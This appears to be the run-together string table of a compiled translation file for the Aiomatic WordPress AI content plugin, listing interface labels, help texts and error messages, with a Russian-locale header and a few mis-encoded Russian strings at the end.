assist in content creation. You can add your own menus with your own prompts. The Content Wizard is compatible with both Gutenberg and Classic Editor. Navigate to your Gutenberg or Classic Editor and look for the Aiomatic plugin's logo in the toolbar. Click on the logo and select the menu you want to use. Click the prompt you want to use. Please note that you need to use the "Convert to Block" feature in the Gutenberg Editor to use the Content Wizard.The URL of the source image to be animated by the driver video, or a selection from the list of provided studio actors.The URL of your site's homepage.The amount of time (in seconds) that your site will spend on a single operation before timing out (to avoid server lockups)The bulk of the work is done, now you can go to the part of the plugin where you want to use assistants and select the assistant instead of the AI model (usually, you will find an 'AI Assistant Name' settings field, where you will be able to select the imported assistants.The chatbot feature allows you to chat with an AI bot, ask questions, and get replies. You would typically enter a question or statement, and the AI would generate a response. This could be used for a variety of purposes, such as answering frequently asked questions, providing customer support, or just having a conversation.The csv file should contain the embeddings data on the first column, each new data on a different rowThe current language used by WordPress. Default = EnglishThe daily token count for your user account was exceeded! Please try again tomorrow.The following OmniBlock IDs are not used in the queue (you can remove them): The forms feature will allow you to extend the functionality of your site, provide customized responses to user questions or even create AI membership websites. These forms will be able to be used next to the conventional 'built-in' shortcodes which are provided by the plugin. These 'built-in' shortcodes are listed in the 'Buil-in Shortcodes' tab from above.The largest file size that can be contained in one post.The largest file size that can be uploaded to your WordPress installation.The license id for photos to be searched.The main difference between the Topic Based and Title Based posting mode is that the Topic Based mode will make a separate API request for each chapter of the content (+intro, outro, q&a) and compose the article from the result of each of these separate API requests. While the Title Based posting will make a single API request for the entire post content. For longer articles, it is recommended you use the Topic Based Posting method.The main steps of creating embeddings areThe main steps of creating forms areThe main steps of fine-tuning areThe maximum amount of memory (RAM) that your site can use at one time.The maximum number of variables your server can use for a single function to avoid overloads.The maximum number of variables your server can use for a single function to avoid overloads. This is an optional settings, as the plugin can handle also cases when this is lower than the required value.The media attachment ID was not found in the database: The media attachment ID was not parsed correctly, please try again.The media attachment ID was not passed correctly, please try again.The number of items (posts, pages) this rule has generated so far.The number of results to return for each query.The order in which to sort returned photos. Deafults to date-posted-desc (unless you are doing a radial geo query, in which case the default sorting is by ascending distance from the point specified).The plugin is not registered. Automatic updating is disabled. Please purchase a license for it from here and register the plugin from the 'Main Settings' menu using your purchase code. How I find my purchase code?The plugin will automatically add AI generated SEO meta descriptions to posts from your site.The plugin will automatically add automatic links to other posts from your site, to keywords from each post.The plugin will automatically add categories to posts from your site.The plugin will automatically add comments to posts from your site.The plugin will automatically add tags to posts from your site.The plugin will automatically edit the featured image of the post, using AI, based on the prompt you define in the settings.The plugin will automatically edit the images found in the post content, using AI, based on the prompt you define in the settings.The plugin will generate AI content, that will be prepended or appended to each post's content.The plugin will generate AI generated or royalty free images, that will be assigned as featured images for posts.The plugin will rewrite the textual content of the post, using AI.The root URL of your site.The style of the generated images. Must be one of vivid or natural. Vivid causes the model to lean towards generating hyper-real and dramatic images. Natural causes the model to produce more natural, less hyper-real looking images. This param is only supported for dall-e-3.The version of MySQL installed on your hosting server.The version of PHP installed on your hosting server.The version of WordPress installed on your site.Theme draft updated.Theme published.Theme restored to revision from %sTheme saved.Theme scheduled for: %1$s.Theme submitted.Theme updated.There is no changelog available.These rules are currently running on your server.Third Person Plural (they, them, theirs, themselves)Third Person Singular (he, she, it)This feature is currently not supported when using Azure/Claude API!This feature is currently supported only for OpenAI API keys.This feature is currently supported only if you enter a single OpenAI API key in the plugin's 'Main Settings' menu.This feature of the plugin is disabled! Please enable it from the above switch.This feature will try to remove the WordPress's default post category. This may fail in case no additional categories are added, because WordPress requires at least one post category for every post.This feature will try to remove the WordPress\'s default post category. This may fail in case no additional categories are added, because WordPress requires at least one post category for every post.This is a nice feature, which will allow you to connect Aiomatic with the 'Ultimate Membership Pro' plugin, allowing you to give your website's members to the functionality offered by the plugin. You can limit the usage of the plugin for members, based on their subscription plans, allowing you to create an AI membership site with ease.This is a trial version of the plugin. Automatic updates for this plugin are disabled. Please activate the plugin from below, so you can benefit of automatic updates for it!This is maybe the biggest 'hidden gem' of Aiomatic. It is able to combine its power with any other plugin I created, allowing AI generated content to be produced in posts created by any other of my plugins. Imagine having AI-generated content in all your plugins, from social media to scraper plugins or news posts. Well, with Aiomatic, that dream is now a reality.This is the ID of the rule.This is the ID of the rule. This is the main log of your plugin. Here will be listed every single instance of the rules you run or are automatically run by schedule jobs (if you enable logging, in the plugin configuration).This keyword will be replaced with a link you define.This keyword will replace the search keyword you define. Leave this field blank if you only want to add an URL to the specified keyword.This option is disabled. To enable it, add a HeadlessBrowserAPI Key in the plugin's 'Main Settings' menu.This option requires the Aiomatic Extension - PDF File Storage And Parsing to be active.This option requires the Aiomatic Extension - PDF File Storage And Parsing to be active. Check itThis option will allow you to select if you want to run posting in async mode. This means that each time you publish a post, the plugin will try to execute it's task in the background - it will no longer block new post posting, while it finishes it's job.This option will make the plugin not create categories which are not already existing on your site. For best results in this case, be sure to add to the prompt the list of categories from where the AI should select.This option will make the plugin not create tags which are not already existing on your site. For best results in this case, be sure to add to the prompt the list of tags from where the AI should select.This plugin can not be activated because it requires a PHP version greater than %1$s. Please update your PHP version before you activate it.This plugin can not be activated because it requires a WordPress version greater than %1$s. Please go to Dashboard -> Updates to get the latest version of WordPress.This plugin will generate content for you, even in your sleep using AIThis process was already started!This will be appended to each prompt sent by the plugin to the AI writer. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.This will be appended to each prompt sent by the plugin to the AI writer. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.This will be prepended to each prompt sent by the plugin to the AI writer. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.This will be prepended to each prompt sent by the plugin to the AI writer. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.TigrinyaTigrinya (Google Translate)TimeTime FrameTime Frame:Time: The time when the request was made.Timeout For API Requests (s):Timeout for Headless Browser Execution:Timeout for Processing (seconds):Tips and tricks:TitleTitle BasedTitle Based Post (Single API Calls)Title Based Posting OptionsTitle Based/Single API CallTitle Generator MethodTitle Generator Method:Title Idea / KeywordsTitle PromptTitle Prompt:Title TextTitle and ContentTitle*To access more details about each feature, simply navigate to the respective tabs at the top of this menu page. Within each tab, you'll find tutorial videos that walk you through the setup, configuration, and utilization of each feature. These videos provide step-by-step guidance, ensuring you make the most out of Aiomatic's hidden features.To add an Assistants to your WordPress site, you'll follow steps like these:To add the chat bot to your website, please include the shortcode [aiomatic-chat-form] in the desired location on your site.To begin using the plugin, click on the 'Plugin Activation' tab from above and register your Envato purchase code. This will allow you to benefit of the full feature set of this plugin. To learn how to find your purchase code for the plugin, checkTo better understand how this might be happening, it is helpful to first understand how the content generation part of the plugin functions. In most cases, when you request the plugin to create a post with a AI generated title, 5 headings, intro + outro and a Q&A section, the plugin sends 1 API request to generate the title, 5 different API requests for the headings, 3 API requests for the intro, outro and Q&A sections. So, for a single post, there might be 9 or more API calls to OpenAI/AiomaticAPI. If each request takes 20 seconds to receive a response, this means that generating this post could take up to 180 seconds in total.To convert files to JSONL format, you can use theTo get started, you can enter a topic here and start generating the title & content!To get the Google API Search Engine ID (CX value), go to %s 2. Select your search engine or Create one and go click on it. 3. You can find the CX id titled as "Search engine ID" 4. Public URL also has the cx id in the Query param as ?cx=**** here. Also, to search the entire web for results, please follow this tutorial.Toggle Advanced OptionsTokensTop of the sectionTop_pTopicTopic BasedTopic Based Post (Multiple API Calls) - Enter TitleTopic Based Post (Multiple API Calls) - Enter TopicTopic Based Posting OptionsTopic Based/Multiple API CallsTor (HeadlessBrowserAPI)Tor (needs to be installed on server)Total Token Cap Per Day For Users:TrainingTraining-filesTranslate Content ToTranslates text using Google Translate/Microsoft Translator/DeepL. To use Microsoft Translator or DeepL, add your API key for these services in the plugin's 'Main Settings' menu.Translation Services API Keys:Translation Source LanguageTranslation Source Language:TransportationTrashTravelTry To Translate Search Query Keywords To English: TsongaTsonga (Google Translate)TurkeyTurkishTurkish (Google Translate)TurkmenTurkmen (Google Translate)TutorialTutorial VideoTutorial Video:Tutorial video: how to use CSV files upload to Google DriveTwiTwi (Google Translate)Twice a dayTwitomatic Post GeneratorTypeType*Type: The type of units listed.Typewriter EffectURLURLs Where To Not Show The Chatbot:US Central 1 (Texas)US East 1 (N. Virginia)US East 2 (N. Virginia)US East 2 (Ohio)US West 1 (N. California)US West 1 (Oregon)US West 2 (Oregon)USDUkrainianUkrainian (Google Translate)Ultimate Membership ProUnder Advanced SettingsUnder Input FieldsUnder Result FieldUnder the heading textUnderstanding How It FunctionsUnexpected HTTP response code: %sUnfortunately, the default connection timeout for Cloudflare is set at 100 seconds. This implies that if you're utilizing Cloudflare's default plan and fail to receive all responses from OpenAI within the 100-second window, Cloudflare will reach its timeout limit, resulting in it fully stopping content creation. However, CloudFlare Enterprise users have the option to extend this timeout limit to 6000 seconds either through the Cloudflare API or by reaching out to customer service. Note that only CloudFlare's Enterprise plan will allow this settings change.United Arab EmiratesUnited KingdomUnited StatesUnited States Government WorkUnitsUnits: The number of units used for the request.Unknown update checker status "%s"Unlock the true potential of Aiomatic's hidden features, harnessing the power of AI to streamline your content management, optimize your media library, engage with your audience, and enhance the visual impact of your website. It's time to take your WordPress experience to new heights with Aiomatic!Unsplah API Options:Update Post SourceUpdate an existing post ID (optional)UpdatedUploadUpload A New Assistant FileUpload A New FileUpload Location:Upload New FileUpload OmniBlock FileUpload error: Upload to OpenAIUploadingUrduUrdu (Google Translate)Usage GraphsUsage LimitsUsage LogsUsage limit messageUse AI Generated Post TitlesUse AI Generated Post Titles:Use AI To Select Default Featured Image For Posts:Use Alternate Continue Tokens (Experimental):Use Async Posting Method:Use Below FunctionsUse Different Search Queries For ImagesUse Multiple API Keys When Creating The Same Post:Use Proxies Also For OpenAI API Accessing:Use The Same Search Query For ImagesUse The Titles From The 'Post Title List' Settings FieldUse the Above Content Prompt To Create The Entire Article (Not Each Section)Use the Above Content Prompt To Create The Entire Article (Not Each Section):Use the following shortcode to add the customized chatbot to your site:UserUser Baloon Background Color:User Conversation ManagerUser Font Color:User Name:User Restricted Message:User Role:User conversation data has been deleted.User: The user who made the request.Using CloudFlare for this website?Using TextRazor API, gets related entities to keywords.Using a LiteSpeed Web Server for this website?Using data from a webhook URL, run OmniBlock rules automatically, even when not scheduled. Webhook URL is: %%webhook_url%%Using the Content WizardUsing this feature you will be able to automatically create embeddings data from the posts you already have published on your site. You can set the plugin up to automatically index posts, pages, products or any custom post type. Embeddings will be automatically created using their data. You can change the template which is used for automatic embeddings creation, from the plugin's 'Main Settings' menu -> 'Embeddings' tab -> 'Auto Created Embeddings Template' settings field.Using which keyword or phrase should I search the internet, so I get results related to the following text? Give me only a single search phrase or keyword, don't write anything else. The text is: "%%original_prompt%%"?UyghurUyghur (Google Translate)UzbekUzbek (Google Translate)ValueValueSERP API Key (Optional) (Used for Related Headings & AI Internet Access)ValueSERP API:ValueSERP Key (optional)VectorVerticalVideoVideo CFG Scale:Video Caption Maximum Character Length In PromptsVideo Caption Maximum Character Length In Prompts:Video Caption Preferred LanguagesVideo Caption Preferred Languages:Video Keyword SearchVideo Motion Bucket ID:VietnameseVietnamese (Google Translate)ViewView Generated PostsView MoreView User ConversationView detailsVisitVisit plugin homepageVisit your website and look for the chatbot. Interact with the chatbot by typing questions or phrases into the chat window. Verify that the chatbot responds appropriately based on the rules you defined.VividVoice AI Model:Voice Button Color:Voice Language:Voice Name:Voice Pitch:Voice Similarity Boost:Voice Speed:Voice Stability:WP Debug ModeWP Debug Mode:WP Max Upload SizeWP Max Upload Size:WP Memory LimitWP Memory Limit:WP MultisiteWP Multisite:WP VersionWP Version:WP-CLIWP-CLI Settings:WP-Cron urlWPML/Polylang LanguageWarning! Your PHP INI max_execution_time is less than 1000 seconds (%s). This means that the plugin's execution will be forcefully stopped by your server after this amount of seconds. Please increase it to ensure that the plugin functions properly. Please check details on server settings, here.Wasabi API Key:Wasabi API Secret:Wasabi Bucket Name:Wasabi Bucket Region:Wasabi Directory:Wasabi Settings:Web Proxy Address List:Web Proxy Authentication:Web ScrapingWebhook API KeyWebhook ListenerWebhook URLWebsite InjectionWeekWelcomeWelcome to Automatic AI Content EditingWelcome to the Aiomatic plugin!Welcome to this comprehensive guide on how to use the automatic post editing feature of the Aiomatic plugin. This powerful tool leverages artificial intelligence to automatically edit and enhance your WordPress posts, saving you time and effort while ensuring your content is optimized and engaging. Whether you're publishing new posts, drafting content, or revising existing posts, the Aiomatic plugin can be configured to automatically apply a range of edits. These include rewriting content, assigning featured images, appending or prepending AI-generated content, adding internal links, inserting related comments, and generating SEO meta descriptions.Welcome to this comprehensive tutorial on the 'AI Playground' functionality of the Aiomatic plugin. This powerful tool harnesses the capabilities of artificial intelligence to provide a wide range of features that can enhance your digital experience. In this tutorial, we'll cover several key functionalities of the AI Playground, including text completion, text editing, image generation using AI technologies like DALL-E 2 and Stable Diffusion, a chatbot feature, speech-to-text conversion using the Whisper API, and text moderation. Each of these features can be used in various ways to generate and manage content, interact with users, and more.WelshWelsh (Google Translate)What To Generate?What are AI Assistants?What are AI Forms?What are embeddings in GPT-3?What categories or tags not to edit: If there are certain categories or tags you don't want to be edited, you can specify them here.What is Aiomatic?What is fine-tuning in GPT-3?What post types to edit: Select the types of posts you want to be edited. This could be blog posts, pages, or any custom post types you have on your site.What sampling temperature to use. Higher values means the model will take more risks. Try 0.9 for more creative applications, and 0 (argmax sampling) for ones with a well-defined answer. We generally recommend altering this or top_p but not both.What to RestrictWhat to Restrict:When creating embeds, it's important to keep in mind to always create a high quality data set, as this will help the AI writer to get a more correct context.When fine-tuning a model, it's important to keep a few things in mind, such as the quality of the data set and the parameters of the model that will be adjusted. Additionally, it's important to monitor the performance of the model during and after fine-tuning.When to edit posts: Choose whether you want posts to be edited when they are published, drafted, or set as pending.When using the 'Title Based Posting' mode, if you set the 'AI Content Minimum Character Count' settings field to a large character count, this you add a prompt completion here, it will be appended to the text which is sent to the AI writer, for continuation..When using the 'Title Based Posting' mode, if you set the 'AI Content Minimum Character Count' settings field to a large character count, this you add a prompt completion here, it will be prepended to the text which is sent to the AI writer, for continuation..Whether or not you have WordPress Multisite enabled.Which Posts Should Bulk AI Editing Affect:Which sampler to use for the diffusion process. If this value is omitted we'll automatically select an appropriate sampler for you.Whisper Speech To TextWhitelisted WordPress Functions:With AI Forms you can create fully customizable forms which will be able to be used using the [aiomatic-form id="FORM_ID"] shortcode. You can create textual forms, Dalle-2 image forms or Stable Diffusion image forms. You can create custom input fields of multiple types for the created forms, where users will be able to define their desired input values. These input fields will be able to be replaced in the prompts you define for each form, using shortcodes in this format: %%input_field_ID%%.With Featured ImagesWith absolute, a day represents today. Otherwise, it represent the past 24 hours from now. The same logic applies to the other time frames.Without Featured ImagesWordPress (Default)WordPress Cron JobWordPress EnvironmentWorking...Write Description Using AIWrite Separate SEO DescriptionWrite a captivating and succinct English summary for the WordPress %s: "%s", accentuating its pivotal features, advantages, and distinctive qualities.Writing StyleWriting Style:Writing ToneWriting Tone:X (Twitter) Post Image URLX (Twitter) Post TemplateXhosaXhosa (Google Translate)YearYear Query:YesYiddishYiddish (Google Translate)YorubaYoruba (Google Translate)You are not allowed to access this form if you are not logged in. Please log in to continue.You are not allowed to activate plugins!You are not allowed to do this action!You are not allowed to do this queryYou are not allowed to do this.You can add the chatbot globally to your site or locally to posts or pages. To add the chatbot locally, you can use the [aiomatic-chat-form] shortcode. If you want to add it globally, you need to go to the settings page of the plugin, go to the "AI Chatbot" menu of the plugin and navigate to the 'Chatbot Website Injection' tab. Choose where you want the chatbot to appear on your website (e.g., on all front end, back end, except pages where you don't want the chatbot to appear).You can add the value of this field to the form prompt from below, using this shortcodeYou can also add a fully customizable chatbot to your site to engage with visitors and provide them with the information they need in real-time.You can also change the status of the posts after they were edited, using the 'Change Post Status After Editing' settings field.You can also get started creating your own AI Forms. To do this, go to the 'Add A New AI Form' tab and start setting up your own forms. You can select between multiple form types (text, Dall-E image or Stable Diffusion image), set a form name and description (which can be displayed on the top of the form, as a form headers). You can create also multiple input fields (of multiple types), using the 'Add A New Form Input Field' button, which will be used by users to enter their data. For each input field, you can set an 'ID', which will be used as a shortcode (and replaced with the value entered by the user) in the AI prompt you define in the form you build, using this format: %%input_ID%%. You will be also able to set some AI model advanced settings and configure the form's submit button text. For more detailed AI Forms customization, you can check the plugin's 'Main Settings' menu -> 'AI Forms' tab.You can also use Google Drive for CSV file storage:You can edit default values for the above fields, hereYou can load .csv or .jsonl files.You can set up the AI Forms in the front end of your site, by using the [aiomatic-form id="FORM_ID"] shortcode. You can get the shortcode for each form, from the 'List AI Forms' tab from above. Here you will be able to manage (edit, delete, preview) created AI Forms.You can use the following shortcodes here: %%post_title_idea%%, %%post_title%%, %%post_excerpt%%, %%post_content%%, %%post_type%%, %%random_sentence%%, %%random_sentence2%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to usersm using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins).You can use this code to embed the chatbot on other websites:You can use this table to monitor the usage of the plugin and track any unusual activity.You have reached the usage limit.You must add a Pinecone API or a Qdrant API key in the plugin's 'Main Settings' menu (API Keys tab), before you can use this feature!You must add a Pinecone or a Qdrant index in the plugin's 'Main Settings' menu (Embeddings tab), before you can use this feature!You must add an OpenAI API Key into the plugin's 'Main Settings' menu before you can use this feature!You must add an OpenAI/AiomaticAPI API Key into the plugin's 'Main Settings' menu before you can use this feature!You must enter a secret word above, to use this feature.You need to add a PlagiarismCheck API key in plugin settings for this shortcode to work.You need to add a list of persona IDs, in the ai_personas shortcode parameter.You need to add an API key in plugin settings for this to work.You need to enable Embeddings for the Chatbot -> go to the 'Embeddings' tab in the same menu and check the 'Enable Embeddings For' -> 'Chatbot Shortcodes' checkbox -> save settings.You need to enable Embeddings for the Chatbot for this to workYou need to enable PDF chat in plugin settings.You need to enable the 'Enable Usage Tracking For Statistics And Usage Limits' checkbox from the plugin's 'Main Settings' menu to enable this feature.You need to enter a ElevenLabs.io API key, D-ID API key or a Google Text-to-Speech API key in the 'API Keys' tab and save settings, to use this feature.You need to enter a Pinecone.io API or a Qdrant API key for this to workYou need to enter a Pinecone.io API or a Qdrant API key in the 'API Keys' tab and save settings, to use this feature.You need to enter a Pinecone.io API or a Qdrant API key in the 'API Keys' tab to use this feature, go to the plugin's 'Main Settings' menu -> in the 'API Keys' tab, set up an API key for a vector database ('Embeddings API Options' section)You need to enter an OpenAI API key for this feature to work.You need to insert a valid Anthropic Claude API Key for this to work!You need to insert a valid OpenAI/AiomaticAPI API Key for this to work!You need to log in to perform this action!You need to set up the Businessomatic plugin before using this feature!You need to set up the F-omatic plugin before using this feature!You need to set up the Linkedinomatic plugin before using this feature!You need to set up the Pinterestomatic plugin before using this feature!You need to specify the id parameter for this shortcode to work!You're all set!YouTube API Key List (Optional) (Used for Related Videos):YouTube API:YouTube Community Post Image URLYouTube Community Post TemplateYouTube Community Post TypeYouTube EmbedsYouTube To Blog PostsYouTube Video CaptionYouTube Video OptionsYouTube Video SearchYouTube Video Search Keyword Extractor Model:YouTube Video Search Keyword Extractor Prompt:YouTube Video ThumbnailYouTube Video To PostYouTube Video URLYouTube Video URLsYouTube Video URLs / Channel Handle URLsYouTube Videos To Posts TutorialYour Own HTML Or Image URL:Your User Agent:Your support for Aiomatic has expired. Please renew it to continue receiving support for the plugin. After you renewed support, please click the "Revoke License" button, from the plugin's "Main Settings" menu -> "Plugin Activation" tab and add your license key again, to activate the plugin with the renewed support license.Youtubomatic Post GeneratorZuluZulu (Google Translate)[aicontent] AI Assistant Name:[aicontent] Nested Shortcode Support (Advanced Feature):[aicontent] Shortcode[aicontent] Shortcode Default Model:[aicontent] Shortcode Frequency Penalty:[aicontent] Shortcode Presence Penalty:[aicontent] Shortcode Temperature:[aicontent] Shortcode Top_p:[aicontent] Shortcode Tutorial Video:[aicontent] Shortcode:add this OmniBlock and save settings to get the URLafter data upload is complete, go to the 'Datasets' tab of this plugin, search for the file you uploaded (be sure to sync files) and click 'Create Fine-Tune' for it. In the popup which appears, select 'New Model' if you want to create a new fine tune, or select any existing finetuned models, to create a new finetune based on that existing finetuned model. This process will take some time, for a dataset of 500 rows, it typically takes around 20 minutes.after finetune creation is complete, go to the 'Model Finetunes' tab and check the finetune you created. Be sure to sync finetunes. Wait until the finetune is listed with status 'succeeded', after which, it will appear also in the plugin and can be directly selected, when selecting the models which you want to use for data creation in the plugin! If you don't see your fine-tuned model in the dropdown list, please make sure that the fine-tune request is complete. You can also click on "Sync Models" link to get latest models.analog-filmand create your API key.animebe sure to not skip this step!be sure to not skip this step! Also, be sure to be clear withbefore you continue. You can filter which posts you need edited. Doing a general site backup is also recommended before doing bulk content editing.before you continue. You can filter which posts you need to be indexed.by %scURL SSL versioncURL versioncase studies from OpenAIcheck this feature's tutorialcinematiccomic-bookcreate as many high quality questions and answers as possible, add them on a single line, give detailed context. In this case (contrary to AI model training) you don't need to create very large amounts of data, it is enough to enter just the information which you would like the AI model to learn about.create as many high quality questions and answers as possible, containing as much useful information you can think of, which can teach the AI about the purpose of your finetune. Keep in mind that you might need to create very large amounts of data (tens of tousands of questions and answers) for this to work as expected.custom_field_name1 => custom_field_value1, custom_field_name2 => custom_field_value2custom_taxonomy_name1 => custom_taxonomy_value1A, custom_taxonomy_value1B; custom_taxonomy_name2 => custom_taxonomy_value2A, custom_taxonomy_value2Bdigital-artenenhanceex: 23,24,25fantasy-artfeature of the pluginfeature of the plugin.for translation, the plugin also supports WPML.for tutorial videos and other helpful resources. Here you can always find what was the newest update for it and how it got improved. I am constantly adding new updates to the plugin to help you get the most out of it, so be sure to subscribe and stay up to date with the latest version of the plugin.for usage of embeddings.for usage of fine tuned modelsfrom OpenAI.get a new account now!globalh2h3hereiMediamatic Instagram Botif not, you can start entering your data into the plugin. To avoid losing your work, this data is kept in your browser's local storage. This is actually complex, so learn how to write datasets by studyingif you alread have your data ready in the required format (JSONL file), you will be able to directly upload it to OpenAI. Be sure to select the base model for which you want to create a fine tune, from the 'Model Base' dropdown list, because you decide at this step for which model you want to create a fine tune with the uploaded data. To upload larger datasets, your WordPress maximum file upload size setting should be set to at least the file size you want to upload. You can followisometricline-artlow-polymodeling-compoundneon-punkofororigamiphotographicpixel-artplaylists on YouTube.pluginqueriesresultstaxonomy general namePost Sourcetaxonomy singular namePost Sourcethe 'AI Embeddings' settings pagethe plugin titleA new version of the %s plugin is available.the plugin titleCould not determine if updates are available for %s.the plugin titleThe %s plugin is up to date.this guidethis is a tool which is designed to colect information from your pages, posts or products and to create datasets from them. This can be useful if you want to train a new model to be more knowledgeable of your website's content. The tool will set the post/page/product title as the "question" and the content as the "answer". You can download the resulting files and upload them using the 'Dataset Uploader' tab.this videotile-textureto achieve this. The uploaded file must contain prompt and completion pairs. The "prompt" part is the question and the "completion" part is the answer. You can find an example fileto add a Chatbot persona selector screen on the front end, visitors can click on the chatbot persona with which they want to chat. Other [aiomatic-chat-form] parameters will be also able to be used here.to add a form similar to OpenAI's Playground, to generate AI written text based on prompts.to add a form similar to OpenAI's Text Completion Playground, to generate AI written text based on prompts.to add a form to generate AI images (GPT-3) based on prompts.to add a form to generate AI images (Stable Diffusion) based on prompts.to add a form to generate a chat similar to ChatGPT. However, please note that this is not ChatGPT, but instead it is a custom chatbot built on top of OpenAI API.to automatically create an AI generated image (GPT-3) based on the 'seed_expre' argument of the post content/excerpt/title where the shortcode is placed,to automatically create an AI generated image (Stable Diffusion) based on the 'seed_expre' argument of the post content/excerpt/title where the shortcode is placed,to automatically write an article based on the 'seed_expre' argument of the post content/excerpt/title where the shortcode is placed,to check a text for AI generated contentto check a text for plagiarismto check a text for profanities and to moderate itto convert an audio file to textto create images using Stable Difussionto execute the prompt which is added inside the shortcode and to automatically save the result to the post,to include a WordPress like post listing. Usage:to include a list that contains only posts imported by this plugin, andto include a textual representation of the remaining credits for the current account (in case AI usage is limited from plugin settings)to include a visual representation of the remaining credits for the current account (in case AI usage is limited from plugin settings)token pricingtokensusedused for the plugin's Embeddings functionalityword1, word2, word3Project-Id-Version: Aiomatic - Automatic AI Content Writer Report-Msgid-Bugs-To: POT-Creation-Date: 2023-04-03 17:22+0300 PO-Revision-Date: 2024-03-31 06:39+0000 Last-Translator: Language-Team: РуÑÑкий Language: ru_RU MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<12 || n%100>14) ? 1 : 2); X-Generator: Loco https://localise.biz/ X-Poedit-Basepath: .. X-Poedit-Flags-xgettext: --add-comments=translators: X-Poedit-WPHeader: aiomatic-automatic-ai-content-writer.php X-Poedit-SourceCharset: UTF-8 X-Poedit-KeywordsList: __;_e;_n:1,2;_x:1,2c;_ex:1,2c;_nx:4c,1,2;esc_attr__;esc_attr_e;esc_attr_x:1,2c;esc_html__;esc_html_e;esc_html_x:1,2c;_n_noop:1,2;_nx_noop:3c,1,2;__ngettext_noop:1,2 X-Loco-Version: 2.6.7; wp-6.4.3 X-Poedit-SearchPath-0: . X-Poedit-SearchPathExcluded-0: *.min.js (Зрение)- Блоки контента AI- РаÑширенный режим- Блоки Amazon- Блоки Ñбора контента- Медиа-блоки контента- Блоки обработки контента- Блоки ÑÐ¾Ñ…Ñ€Ð°Ð½ÐµÐ½Ð¸Ñ ÐºÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð°- ЭкÑпреÑÑ-режим- Ð´Ð»Ñ Ð²ÐºÐ»ÑŽÑ‡ÐµÐ½Ð¸Ñ Ð´Ð¾Ð±Ð°Ð²ÑŒÑ‚Ðµ ключ HeadlessBrowserAPI в «ОÑновные наÑтройки» плагина.плагин Ñ Ð´Ð¾Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ñ‹Ð¼Ð¸ возможноÑÑ‚Ñми и функционалом. Проверьте наличие дополнительныхиÑпользуетÑÑ Ð¼Ð°ÐºÑимум изВкладка «Дополнительные ÐаÑтройки AI API»Вкладка «ÐаÑтройки ÐвтоматичеÑкого Ð ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ ÐšÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð°Â»Ð’ÐºÐ»Ð°Ð´ÐºÐ° «Редактирование Шаблонов и Параметров»Вкладка «ÐаÑтройки Ð ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¡Ð¾Ð´ÐµÑ€Ð¶Ð¸Ð¼Ð¾Ð³Ð¾ Вручную»# ДейÑтвиÑ# ПоÑтов%%previous_comments%% Шорткод КоличеÑтва Комментариев :%1$s — рекомендуемое значение: %2$s.
                    Ограничение макÑимального количеÑтва входных переменных приведет к уÑечению данных POST, таких как меню. См.: Увеличение макÑимального предела входных переменных.%1$s — рекомендуемое значение: %2$s.
                    Ограничение макÑимальной длины ПоÑÑ‚Ñ‹ может препÑÑ‚Ñтвовать Ñохранению данных параметров темы в вашей базе данных. См.: Ð˜Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð¾ конфигурацAI Suhosin.%1$s — Мы рекомендуем уÑтановить макÑимальное Ð²Ñ€ÐµÐ¼Ñ Ð²Ñ‹Ð¿Ð¾Ð»Ð½ÐµÐ½Ð¸Ñ Ð½Ðµ менее 600.
